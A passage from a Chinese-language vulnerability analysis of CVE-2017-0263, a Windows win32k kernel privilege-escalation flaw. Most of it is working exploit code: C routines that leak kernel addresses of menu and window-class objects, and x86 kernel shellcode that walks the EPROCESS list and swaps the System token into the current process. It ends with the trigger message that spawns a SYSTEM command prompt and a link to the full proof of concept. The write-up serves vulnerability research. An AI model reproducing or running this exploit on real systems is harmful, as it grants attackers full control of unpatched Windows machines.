pvShellCode->tagCLS[i] = *(PVOID *)((PBYTE)xxHMValidateHandle(hWindowList[i]) + num_offset_WND_pcls);
}
获取 tagCLS 地址并存储在结构体 SHELLCODE 对象的利用代码
查找需置空成员域 lpszMenuName
的目标窗口类对象需要通过与根弹出菜单对象的内核地址进行匹配,因此需要利用代码在用户进程中获取根弹出菜单对象的内核地址。这可以在事件通知处理函数 xxWindowEventProc
中实现:
VOID CALLBACK
xxWindowEventProc(
HWINEVENTHOOK hWinEventHook,
DWORD event,
HWND hwnd,
LONG idObject,
LONG idChild,
DWORD idEventThread,
DWORD dwmsEventTime
)
{
if (iMenuCreated == 0)
{
popupMenuRoot = *(DWORD *)((PBYTE)xxHMValidateHandle(hwnd) + 0xb0);
}
if (++iMenuCreated >= num_PopupMenuCount)
{
SendMessageW(hwnd, MN_ENDMENU, 0, 0);
}
else
{
SendMessageW(hwnd, WM_LBUTTONDOWN, 1, 0x00020002);
}
}
在函数 xxWindowEventProc 中增加获取根弹出菜单对象地址的利用代码
接下来实现对 ShellCode 函数代码的构造。与在用户上下文中执行的窗口对象消息处理函数稍有不同的是,内核模式窗口对象消息处理函数的第 1 个参数是指向目标窗口 tagWND
对象的指针,其余参数都相同。
为了精确识别触发提权的操作,在代码中定义 0x9F9F
为触发提权的消息。在 ShellCode 函数代码中,我们首先判断传入的消息参数是否是我们自定义的提权消息:
push ebp
mov ebp,esp
mov eax,dword ptr [ebp+0Ch]
cmp eax,9F9Fh
jne LocFAILED
在 32 位的 Windows 操作系统中,用户上下文代码段寄存器 CS
值为 0x1B
,借助这个特性,在 ShellCode 函数代码中判断当前执行上下文是否在用户模式下,如是则返回失败。
mov ax,cs
cmp ax,1Bh
je LocFAILED
接下来清空 DF
标志位;恢复载体窗口对象的标志位状态,与之前修改标志位时的自减相对地,使成员标志位 bDialogWindow
地址起始的 32 位数据直接自增。
cld
mov ecx,dword ptr [ebp+8]
inc dword ptr [ecx+16h]
首先备份当前所有通用寄存器的数值在栈上,接下来通过 CALL-POP
技术获取当前 EIP
执行指令的地址,并根据相对偏移计算出存储在 ShellCode 函数代码前面位置的结构体 SHELLCODE
对象的首地址:
pushad
call $5
pop edx
sub edx,443h
遍历结构体 SHELLCODE
对象存储的 tagCLS
数组并与通过参数 wParam
传入的根弹出菜单对象的内核地址进行匹配。
mov ebx,100h
lea esi,[edx+18h]
mov edi,dword ptr [ebp+10h]
LocForCLS:
test ebx,ebx
je LocGetEPROCESS
lods dword ptr [esi]
dec ebx
cmp eax,0
je LocForCLS
add eax,dword ptr [edx+8]
cmp dword ptr [eax],edi
jne LocForCLS
and dword ptr [eax],0
jmp LocForCLS
接下来获取载体窗口对象头部结构中存储的线程信息 tagTHREADINFO
对象指针,并继续获取线程信息对象中存储的进程信息 tagPROCESSINFO
对象指针,并获取对应进程的进程体 EPROCESS
对象指针。各个成员域的偏移在结构体 SHELLCODE
对象中存储。
LocGetEPROCESS:
mov ecx,dword ptr [ecx+8]
mov ebx,dword ptr [edx+0Ch]
mov ecx,dword ptr [ebx+ecx]
mov ecx,dword ptr [ecx]
mov ebx,dword ptr [edx+10h]
mov eax,dword ptr [edx+4]
接下来根据进程体 EPROCESS
对象的成员域 ActiveProcessLinks
双向链表和成员域 UniqueProcessId
进程标识符找到当前进程的 EPROCESS
地址。由于 UniqueProcessId
是成员域 ActiveProcessLinks
的前一个成员域,因此直接使用 SHELLCODE
对象中存储的 ActiveProcessLinks
偏移值来定位 UniqueProcessId
的位置。
push ecx
LocForCurrentPROCESS:
cmp dword ptr [ebx+ecx-4],eax
je LocFoundCURRENT
mov ecx,dword ptr [ebx+ecx]
sub ecx,ebx
jmp LocForCurrentPROCESS
LocFoundCURRENT:
mov edi,ecx
pop ecx
紧接着继续遍历进程体 EPROCESS
对象链表,以找到 System 进程的进程体对象地址。
LocForSystemPROCESS:
cmp dword ptr [ebx+ecx-4],4
je LocFoundSYSTEM
mov ecx,dword ptr [ebx+ecx]
sub ecx,ebx
jmp LocForSystemPROCESS
LocFoundSYSTEM:
mov esi,ecx
执行到这一步已定位到当前进程和 System 进程的进程体对象地址,接下来就使用 System 进程的成员域 Token
指针替换当前进程的 Token
指针。
mov eax,dword ptr [edx+14h]
add esi,eax
add edi,eax
lods dword ptr [esi]
stos dword ptr es:[edi]
此时当前进程已拥有 System 进程的 Token
指针,额外增加的引用需要手动为目标 Token
对象增加对象引用计数。在 NT 执行体模块中大多数内核对象都是以 OBJECT_HEADER
结构体作为头部结构:
kd> dt nt!_OBJECT_HEADER
+0x000 PointerCount : Int4B
+0x004 HandleCount : Int4B
[...]
+0x014 SecurityDescriptor : Ptr32 Void
+0x018 Body : _QUAD
该结构位于内核对象地址前面的位置,内核对象起始于 OBJECT_HEADER
结构体的 Body
成员域。手动增加指针引用需要对成员域 PointerCount
进行自增。
and eax,0FFFFFFF8h
add dword ptr [eax-18h],2
接下来大功告成,恢复前面备份的通用寄存器的数值到寄存器中,并赋值返回值为 0x9F9F
作为向调用者的反馈信息。
popad
mov eax,9F9Fh
jmp LocRETURN
LocFAILED:
mov eax,1
LocRETURN:
leave
ret 10h
至此 ShellCode 函数代码已编写完成。
触发提权
万事俱备,只欠东风。接下来在利用代码的自定义阴影窗口消息处理函数 xxShadowWindowProc
中调用系统服务 NtUserMNDragLeave
之后的位置增加对载体窗口对象发送自定义提权消息 0x9F9F
的调用语句,并将返回值的判断结果存储在全局变量 bDoneExploit
中。
LRESULT Triggered = SendMessageW(hWindowHunt, 0x9F9F, popupMenuRoot, 0);
bDoneExploit = Triggered == 0x9F9F;
在函数 xxShadowWindowProc 中增加发送提权消息的利用代码
这样一来,在执行系统服务 NtUserMNDragLeave
以置位载体窗口对象的成员标志位 bServerSideWindowProc
之后,函数发送 0x9F9F
消息并将根弹出菜单对象的内核地址作为 wParam
参数传入,执行流将在内核上下文中直接调用载体窗口对象的自定义消息处理函数,执行到由用户进程定义的 ShellCode 代码中,实现内核提权和相关内核用户对象成员域的修复。
通过主线程监听全局变量 bDoneExploit
是否被赋值;如成功赋值则创建新的命令提示符进程。
启动的命令提示符进程已属于 System 用户身份
可以观测到新启动的命令提示符已属于 System 用户身份。
后记
在本分析中构造验证代码和利用代码时,处理逻辑与原攻击样本的代码稍有差异。例如,攻击样本为了保证成功率,在代码中增加了暂时挂起全部线程的操作,还将菜单和子菜单的个数设定为 3 个。在本分析中为了实现最简验证和利用代码,对这些不必要的因素进行了省略。
链接
[0] 本分析的 POC 下载
https://github.com/leeqwind/HolicPOC/blob/master/windows/win32k/CVE-2017-0263/x86.cpp
[1] Kernel Attacks through User-Mode Callbacks
http://media.blackhat.com/bh-us-11/Mandt/BH_US_11_Mandt_win32k_WP.pdf
[2] 从 Dump 到 POC 系列一: Win32k 内核提权漏洞分析
http://blogs.360.cn/blog/dump-to-poc-to-win32k-kernel-privilege-escalation-vulnerability/
[3] TrackPopupMenuEx function (Windows)
https://msdn.microsoft.com/en-us/library/windows/desktop/ms648003(v=vs.85).aspx
[4] sam-b/windows_kernel_address_leaks
https://github.com/sam-b/windows_kernel_address_leaks
[5] Sednit adds two zero-day exploits using ‘Trump’s attack on Syria’ as a decoy
[6] EPS Processing Zero-Days Exploited by Multiple Threat Actors
https://www.fireeye.com/blog/threat-research/2017/05/eps-processing-zero-days.html